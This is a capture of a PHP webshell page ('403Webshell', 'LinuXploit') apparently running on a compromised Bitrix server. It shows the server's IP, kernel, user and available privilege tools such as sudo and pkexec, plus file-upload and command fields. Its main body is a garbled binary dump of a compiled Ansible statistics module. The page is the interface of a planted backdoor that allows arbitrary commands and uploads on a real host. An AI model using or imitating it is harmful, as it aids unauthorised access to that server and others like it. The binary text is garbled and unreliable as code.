403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/executor/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/executor/__pycache__/stats.cpython-311.opt-1.pyc
�

���c���P�ddlmZmZmZeZddlmZddlm	Z	Gd�d��Z
dS)�)�absolute_import�division�print_function)�MutableMapping)�
merge_hashc�:�eZdZdZd�Zd�Zd�Zd�Zd	d�Zd	d�Z	dS)
�AggregateStatsz: holds stats about per-host activity during playbook runs c��i|_i|_i|_i|_i|_i|_i|_i|_i|_dS�N)	�	processed�failures�ok�dark�changed�skipped�rescued�ignored�custom)�selfs �;/usr/lib/python3.11/site-packages/ansible/executor/stats.py�__init__zAggregateStats.__init__sG�������
������	������������������c��d|j|<t||���|d��}|dzt||��|<dS)z% helper function to bump a statistic �rN)r�getattr�get)r�what�host�prevs    r�	incrementzAggregateStats.increment,sM�� !���t����d�#�#�(�(��q�1�1��$(�1�H���d���D�!�!�!rc��t||��}	||dz
dkrtd���||xxdzcc<dS#t$r	d||<YdSwxYw)NrrzDon't be so negative)r�KeyError)rrr�_whats    r�	decrementzAggregateStats.decrement3s|����d�#�#��	��T�{�Q���"�"��5�6�6�6��$�K�K�K�1��K�K�K�K�K���	�	�	��E�$�K�K�K�K�	���s�.A�A�Ac��t|j�|d��|j�|d��|j�|d��|j�|d��|j�|d��|j�|d��|j�|d�����S)z, return information about a particular host r)rr
�unreachablerrrr)	�dictrrr
rrrrr)rrs  r�	summarizezAggregateStats.summarize=s�����w�{�{�4��#�#��]�&�&�t�Q�/�/��	�
�
�d�A�.�.��L�$�$�T�1�-�-��L�$�$�T�1�-�-��L�$�$�T�1�-�-��L�$�$�T�1�-�-�
�
�
�	
rNc�\�|�d}||jvr||i|j|<dS||j||<dS)z allow setting of a custom statN�_run)r�r�whichrrs    r�set_custom_statszAggregateStats.set_custom_statsJsH���<��D��t�{�"�"�!&��
�D�K�����'+�D�K���e�$�$�$rc��|�d}||jvs||j|vr|�|||��St|t|j||����sdSt|t��r1t|j|||��|j||<dS|j||xx|z
cc<dS)z# allow aggregation of a custom statNr*)rr-�
isinstance�typerrr+s    r�update_custom_statsz"AggregateStats.update_custom_statsTs����<��D��t�{�"�"�e�4�;�t�3D�&D�&D��(�(���d�;�;�;��$��T�[��%6�u�%=� >� >�?�?�	��4��d�N�+�+�	-�'1�$�+�d�2C�E�2J�D�'Q�'Q�D�K���e�$�$�$�
�K���e�$�$�$��,�$�$�$�$�$rr)
�__name__�
__module__�__qualname__�__doc__rr r$r(r-r1�rrr	r	s~������D�D����-�-�-����
�
�
�,�,�,�,�-�-�-�-�-�-rr	N)�
__future__rrrr0�
__metaclass__�collections.abcr�ansible.utils.varsrr	r6rr�<module>r;s���&C�B�B�B�B�B�B�B�B�B��
�*�*�*�*�*�*�)�)�)�)�)�)�I-�I-�I-�I-�I-�I-�I-�I-�I-�I-r

Youez - 2016 - github.com/yon3zu
LinuXploit